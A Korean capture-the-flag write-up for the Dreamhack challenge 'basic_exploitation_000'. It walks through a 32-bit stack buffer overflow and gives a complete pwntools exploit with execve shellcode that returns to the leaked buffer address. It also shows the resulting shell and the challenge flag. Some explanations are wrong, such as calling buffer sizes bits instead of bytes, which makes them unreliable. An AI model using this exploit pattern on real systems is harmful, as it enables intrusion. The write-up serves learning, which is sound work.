문제에서 주어진 환경

```
Ubuntu 16.04

Arch:     i386-32-little

RELRO:    No RELRO

Stack:    No canary found

NX:       NX disabled

PIE:      No PIE (0x8048000)

RWX:      Has RWX segments
```

arch는 32비트 -> 4비트 단위

canary가 없다 -> 버퍼 오버플로우 가능하다고 함

이정도만 가지고 가자

```c
int main(int argc, char *argv[]) {

    char buf[0x80]; // 128 비트

    initialize();

    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);    // 141 비트, 13 비트가 남는다.

    return 0;
}
```

main 함수에서 buf는 128비트로 선언되었지만, scanf는 141비트를 받는다.

-> 버퍼 오버플로우 가능성 -> 메모리 시작점을 알아보자

ghidra를 이용하여 main함수를 분석해보자

```
                        main                                            XREF[4]:
080485d9 55             PUSH        EBP
080485da 89 e5          MOV         EBP,ESP
080485dc 83 c4 80       ADD         ESP,-0x80
080485df e8 ae ff       CALL        initialize
         ff ff
080485e4 8d 45 80       LEA         EAX=>local_84,[EBP + -0x80]
080485e7 50             PUSH        EAX
080485e8 68 99 86       PUSH        s_buf_=_(%p)_08048699
         04 08
080485ed e8 fe fd       CALL        <EXTERNAL>::printf
         ff ff
080485f2 83 c4 08       ADD         ESP,0x8
080485f5 8d 45 80       LEA         EAX=>local_84,[EBP + -0x80]
080485f8 50             PUSH        EAX
080485f9 68 a5 86       PUSH        s_%141s_080486a5
         04 08
080485fe e8 5d fe       CALL        <EXTERNAL>::__isoc99_scanf
         ff ff
08048603 83 c4 08       ADD         ESP,0x8
08048606 b8 00 00       MOV         EAX,0x0
         00 00
0804860b c9             LEAVE
0804860c c3             RET
0804860d 66             ??          66h    f
0804860e 90             ??          90h
0804860f 90             ??          90h
```

080485f2 83 c4 08 ADD ESP,0x8
080485f5 8d 45 80 LEA EAX=>local_84,[EBP + -0x80]

-> main문의 scanf함수가 실행될 때 input data는 ebp + -0x80 부터 저장되기 시작한다.

32비트 스택 구조는 다음과 같다.
BUF – CANARY – SFP – RET
문제의 조건에서 CANARY는 존재하지 않으므로, buf – SFP – RET 순서로 스택 구조가 형성된다.
sfp는 4바이트이므로, 128 + 4 바이트를 입력하면 RET에 접근할 수 있다.

shell code는 프로그램이 실행될 때 사용하는 일종의 권한을 표현하는 코드이다.
즉, 프로그램이 시작할 때 이 코드를 사용하면 flag 값을 획득할 수 있다.

파이썬의 pwntools 패키지를 통해 이를 해결할 수 있다.

```python
from pwn import *

p = remote("host3.dreamhack.games", 10666)


p.recvuntil(b"buf = (")
buf = int(p.recv(10), 16)
p.recvuntil(b"\n")
```

```
payload =
b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\
x08\x40\x40\x40\xcd\x80"
payload += b"\x80" * 106
payload += p32(buf)

p.sendline(payload)
p.interactive()
```

사이트에서 접속정보에 있는 host이름과 포트번호를 remote()를 통해 불러온다.

recvuntil(), recv()는 데이터를 받아오는 함수이다.
recvuntil(b"string")은 현재 포인터에서 문자열까지 받아온다.
recv(int)는 int만큼 데이터를 받아온다.

위에서 분석한 코드를 보면 s_buf_=_(%p) 형식으로 되어있다.
이는 문자열 "buf = (%p)"로 되어 있다는 것으로, 우리에게 필요한 부분만 가져오기 위해 주소 앞까지 먼저 처리한다.

그러고 난 뒤 0xMMMMMMMM형태의 수(10자리)를 16진수 형태로 받아서 정수로 저장한다.

남아있는 문자열의 끝은 \n이기 때문에 \n까지 데이터를 받아오는 식으로 나머지를 정리한다.

RET 데이터에 BUF의 주소를 넣고, 앞에 132 바이트를 셸코드와 나머지로 만든다면 원하는 권한을 얻을 수 있다.

payload = [shell code] + [임의의 데이터 -> 132바이트] + [buf의 주소]가 되고, 이는 c코드에서 입력하는 buf이다.

shell code는 구글링을 통해 기본적인 26바이트 코드로 가져왔다.
나머지 106바이트를 아무 수로 만들고 마지막에 buf의 주소를 연결한다.
32비트 환경에서는 4바이트 단위로 쪼개기 때문에 p32()함수를 사용해 주소를 나눈다.

이렇게 만들어진 payload를 입력하고 상호작용을 하면 다음과 같은 결과를 얻는다.

```
[+] Opening connection to host3.dreamhack.games on port 10666: Done
[*] Switching to interactive mode
$ ls
basic_exploitation_000
flag
run.sh
$ cat flag
DH{465dd453b2a25a26a847a93d3695676d}$
[*] Got EOF while reading in interactive
```

정답은 DH{465dd453b2a25a26a847a93d3695676d} 이다.